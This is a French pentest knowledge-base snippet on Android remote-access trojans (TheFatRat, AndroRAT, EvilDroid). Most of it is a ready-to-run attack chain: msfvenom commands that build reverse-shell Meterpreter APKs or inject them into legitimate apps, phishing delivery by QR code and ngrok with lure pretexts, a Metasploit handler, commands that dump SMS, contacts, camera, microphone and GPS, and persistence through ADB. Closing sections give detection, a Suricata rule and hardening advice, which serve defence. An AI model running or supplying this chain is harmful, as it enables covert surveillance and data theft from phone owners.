---
title: "Android RAT — TheFatRat / AndroRAT / EvilDroid"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [android, rat, thefatrat, androrat, evildroid, apk, backdoor, mobile, pentest, blue-team]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Vue d'ensemble

```
Attaquant                              Victime (Android)
──────────                             ─────────────────
TheFatRat/msfvenom                     APK malveillant installé
  → génère APK backdoorisé    ──────►    (social engineering)
  → lance un handler MSF                   │
  ← connexion reverse TCP/HTTP ◄──────────┘
  → accès caméra, micro, GPS,
    SMS, contacts, shell
```

Trois outils couvrent cette chaîne :
- **TheFatRat** : génération de backdoors multi-plateformes (Windows, Linux, Android) avec listener intégré
- **AndroRAT** : RAT Android pur — bind sur APK légitime ou standalone
- **EvilDroid** : framework Android centré sur la création d'APK malveillants et l'exploitation de vulnérabilités ADB

---

## Phase 1 — Préparation de l'environnement

```bash
# Installer TheFatRat
git clone https://github.com/Screetsec/TheFatRat
cd TheFatRat
chmod +x setup.sh && bash setup.sh

# Dépendances communes
apt install metasploit-framework apktool android-tools-adb default-jdk -y

# Vérifier msfvenom disponible
msfvenom --version
```

```bash
# Installer AndroRAT (nécessite Java + Android SDK)
git clone https://github.com/karma9874/AndroRAT
cd AndroRAT
pip3 install -r requirements.txt
```

---

## Phase 2 — Génération du payload Android

### TheFatRat — APK backdoor standalone

```bash
# Lancer TheFatRat (menu interactif)
./fatrat

# Option dans le menu :
# [1] Create Backdoor
# [9] Android — backdoor APK
# Saisir :
#   LHOST : {{LHOST}}
#   LPORT : {{LPORT}}
#   Nom du fichier : {{APK_NAME}}.apk
```

```bash
# Alternative directe via msfvenom (sans menu)
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST={{LHOST}} LPORT={{LPORT}} \
  -o /tmp/{{APK_NAME}}.apk

# Ou reverse HTTP (passe mieux les pare-feux)
msfvenom -p android/meterpreter/reverse_http \
  LHOST={{LHOST}} LPORT=80 \
  -o /tmp/{{APK_NAME}}.apk
```

### TheFatRat — Backdoor injectée dans un APK légitime

```bash
# Option dans TheFatRat :
# [1] Create Backdoor → [11] Inject into existing APK
# APK légitime source : {{LEGIT_APK}}.apk
# Résultat : APK d'apparence identique + backdoor persistante

# Ou via msfvenom directement :
msfvenom -p android/meterpreter/reverse_tcp \
  LHOST={{LHOST}} LPORT={{LPORT}} \
  -x {{LEGIT_APK}}.apk \
  -o {{OUTPUT_APK}}.apk
```

### AndroRAT — RAT Android avec interface web

```bash
cd AndroRAT
python3 androrat.py --build \
  --host {{LHOST}} \
  --port {{LPORT}} \
  --name "{{APP_DISPLAY_NAME}}" \
  --icon /path/to/icon.png \
  --output {{OUTPUT_APK}}.apk

# Lancer le serveur C2 AndroRAT
python3 androrat.py --start --port {{LPORT}}
# Interface web disponible sur http://{{LHOST}}:{{WEB_PORT}}
```

### EvilDroid — Génération et binding APK

```bash
# EvilDroid (interface CLI)
python3 evildroid.py

# Sélectionner :
# [1] Generate Payload → Android Meterpreter
# [2] Bind with original APK (chemin vers APK légitime)
# LHOST : {{LHOST}}
# LPORT : {{LPORT}}

# Résigne l'APK automatiquement avec un certificat auto-signé
# → Contourne la vérification de signature Android de base
```

---

## Phase 3 — Livraison (Social Engineering)

```bash
# Servir l'APK via HTTP local
python3 -m http.server 8080 --directory /tmp/
# URL : http://{{LHOST}}:8080/{{APK_NAME}}.apk

# Phishing QR code pointant vers l'APK
qrencode -o qr.png "http://{{LHOST}}:8080/{{APK_NAME}}.apk"

# Ou via Ngrok pour exposer sur internet (lab uniquement)
ngrok http 8080
# → URL publique HTTPS à envoyer à la cible
```

Prétextes courants utilisés pour forcer l'installation :
- "Mise à jour obligatoire de l'application X"
- "Application interne de l'entreprise — APK à installer manuellement"
- "Application de suivi COVID / badge d'accès"

La victime doit activer **"Sources inconnues"** (Android < 8) ou autoriser l'installation depuis le navigateur (Android 8+).

---

## Phase 4 — Listener et prise de contrôle

### Listener Metasploit (TheFatRat / msfvenom)

```bash
msfconsole -q
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST {{LHOST}}
set LPORT {{LPORT}}
set ExitOnSession false
exploit -j   # -j = job en arrière-plan, accepte plusieurs sessions
```

### Post-exploitation Meterpreter Android

```bash
# Lister les sessions actives
sessions -l

# Interagir avec une session
sessions -i {{SESSION_ID}}

# ─── Géolocalisation ───
geolocate                      # GPS + réseau

# ─── Caméra ───
webcam_list                    # lister les caméras
webcam_snap -i 1               # photo caméra arrière
webcam_stream -i 2             # flux live caméra avant

# ─── Micro ───
record_mic -d 30               # enregistrement audio 30s

# ─── SMS / Contacts ───
dump_sms                       # tous les SMS
dump_contacts                  # carnet d'adresses complet

# ─── Fichiers ───
ls /sdcard/DCIM/               # photos
download /sdcard/DCIM/{{FILE}} # télécharger un fichier

# ─── Shell ───
shell                          # shell Android (root si appareil rooté)
id                             # droits actuels
```

### Post-exploitation AndroRAT (interface web)

```
http://{{LHOST}}:{{WEB_PORT}}
→ Sélectionner l'appareil connecté
→ Commandes disponibles :
  - Localisation GPS temps réel
  - Photo / vidéo / micro
  - SMS envoi / lecture
  - Appels entrants/sortants
  - Clipboard
  - Fichiers (browse, upload, download)
  - Notifications système
```

---

## Phase 5 — Persistance

```bash
# Dans le shell Meterpreter Android
# Relancer le payload au démarrage de l'appareil
run post/android/manage/schedule_task

# Vérifier les permissions de l'APK (doit inclure RECEIVE_BOOT_COMPLETED)
run post/android/gather/app_list

# Wakelock — empêche la mise en veille qui coupe la session
run android/meterpreter/wakelock
```

```bash
# Persistance via ADB (si débogage USB activé sur l'appareil)
adb devices                           # lister les appareils connectés
adb install {{BACKDOOR_APK}}.apk      # installer silencieusement
adb shell pm list packages            # vérifier l'installation
adb shell am start -n {{PACKAGE}}/{{ACTIVITY}}   # forcer le lancement
```

---

## Défense — Détection des APK malveillants

```bash
# Analyser un APK suspect avec apktool (décompile le bytecode)
apktool d {{SUSPECT_APK}}.apk -o /tmp/apk_decoded/

# Chercher des permissions suspectes dans AndroidManifest.xml
grep -E "RECORD_AUDIO|CAMERA|READ_SMS|ACCESS_FINE_LOCATION|RECEIVE_BOOT" \
  /tmp/apk_decoded/AndroidManifest.xml

# Chercher des IPs / domaines codés en dur
grep -rE "([0-9]{1,3}\.){3}[0-9]{1,3}" /tmp/apk_decoded/smali/

# Analyser avec MobSF (Mobile Security Framework)
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# → Uploader l'APK sur http://localhost:8000
# → Rapport statique + dynamique complet
```

```bash
# Vérifier la signature d'un APK
apksigner verify --print-certs {{SUSPECT_APK}}.apk
# Signature auto-signée = APK non officiel → suspect

# Vérifier les certificats (un APK légitime a un cert de l'éditeur)
keytool -printcert -jarfile {{SUSPECT_APK}}.apk
```

---

## Défense — Détection réseau

```bash
# Sur le réseau : détecter les connexions reverse TCP/HTTP depuis Android
# Ports courants des RAT : 4444 (MSF default), 8080, 9999, 443

# Wireshark / tcpdump — filtrer les connexions suspectes depuis mobiles
tcpdump -i {{INTERFACE}} -w mobile_traffic.pcap host {{MOBILE_IP}}

# Chercher les connexions TCP persistantes vers des IPs non répertoriées
# Signature : connexion longue durée, faible volume, periodic beacon

# Sur le mobile (si accès ADB) — lister les connexions actives
adb shell netstat -antp | grep ESTABLISHED
adb shell ss -tulnp
```

### Règle Suricata/Snort — détection Meterpreter Android

```
# Détection Meterpreter reverse_tcp sur port non standard
alert tcp $HOME_NET any -> $EXTERNAL_NET !443 (
  msg:"Possible Android Meterpreter reverse_tcp";
  flow:established,to_server;
  content:"|00 01 00 01|";
  threshold: type both, track by_src, count 5, seconds 60;
  sid:9000001; rev:1;
)
```

---

## Défense — Hardening Android

```
Paramètres → Sécurité :
✓ Sources inconnues → DÉSACTIVÉ (ne jamais activer sauf sideload volontaire)
✓ Vérification des applications (Google Play Protect) → ACTIVÉ
✓ Débogage USB → DÉSACTIVÉ (activer uniquement en dev)
✓ Mode développeur → DÉSACTIVÉ

Paramètres → Applications → Permissions :
✓ Révoquer RECORD_AUDIO, CAMERA, ACCESS_FINE_LOCATION sur les apps non nécessaires
✓ Vérifier les apps avec permission RECEIVE_BOOT_COMPLETED (persistance)

Paramètres → Réseau :
✓ VPN actif sur réseaux non maîtrisés
✓ DNS over HTTPS activé (Android 9+ : DNS privé)
```

```bash
# MDM / EMM — politique de sécurité enterprise (ex: Microsoft Intune)
# Bloquer l'installation d'APK hors Play Store
# Enforcer le chiffrement complet du stockage
# Wipe à distance si appareil compromis

# Google Play Protect — vérification manuelle
# Paramètres → Sécurité → Google Play Protect → Analyser maintenant
```

---

## Checklist défensive — Mobile

<Checklist
  storageKey="android-rat-defense"
  items={[
    { id: "unknown-sources", label: "Sources inconnues désactivé (APK hors Play Store bloqués)", critical: true },
    { id: "play-protect", label: "Google Play Protect activé + analyse régulière", critical: true },
    { id: "usb-debug", label: "Débogage USB désactivé (vecteur ADB silencieux)", critical: true },
    { id: "permissions-audit", label: "Audit des permissions : CAMERA, RECORD_AUDIO, ACCESS_FINE_LOCATION, READ_SMS" },
    { id: "boot-receivers", label: "Vérifier les apps avec RECEIVE_BOOT_COMPLETED (persistance RAT)" },
    { id: "apk-signing", label: "Vérifier la signature des APK sideloadés (apksigner / keytool)" },
    { id: "network-monitor", label: "Monitoring réseau : connexions TCP persistantes vers IPs inconnues" },
    { id: "mobsf-scan", label: "Scanner les APK suspects avec MobSF avant installation" },
    { id: "mdm-enrolled", label: "Appareils enterprise sous MDM (Intune, Jamf) avec politique de sécurité" },
    { id: "full-disk-encrypt", label: "Chiffrement complet du stockage activé" }
  ]}
/>

---

## Référence — Permissions Android à risque

| Permission | Usage légitime | Abus RAT |
|---|---|---|
| `RECORD_AUDIO` | Enregistreur vocal, appels | Écoute micro permanente |
| `CAMERA` | Appareil photo | Photo/vidéo silencieuse |
| `ACCESS_FINE_LOCATION` | Maps, navigation | Géolocalisation temps réel |
| `READ_SMS` / `RECEIVE_SMS` | Authenticators 2FA | Vol OTP, SMS banking |
| `READ_CONTACTS` | Apps messagerie | Exfiltration carnet |
| `RECEIVE_BOOT_COMPLETED` | Alarmes, sync | Persistance au démarrage |
| `PROCESS_OUTGOING_CALLS` | Enregistreurs d'appels | Écoute des appels |

<Warning>
Ces outils génèrent des APK détectés par la majorité des antivirus mobiles et Google Play Protect. Sur un appareil Android à jour avec Play Protect actif, l'installation est bloquée ou signalée. L'efficacité réelle dépend entièrement de l'ingénierie sociale pour convaincre la victime de désactiver les protections.
</Warning>

<Tip>
Pour un pentest Android autorisé, préférer **drozer** (audit d'app) et **frida** (hooking dynamique) à un RAT brut. Les RAT type TheFatRat sont utiles pour démontrer le vecteur à un client, mais drozer + MobSF donnent une analyse de surface d'attaque bien plus exploitable dans un rapport professionnel.
</Tip>
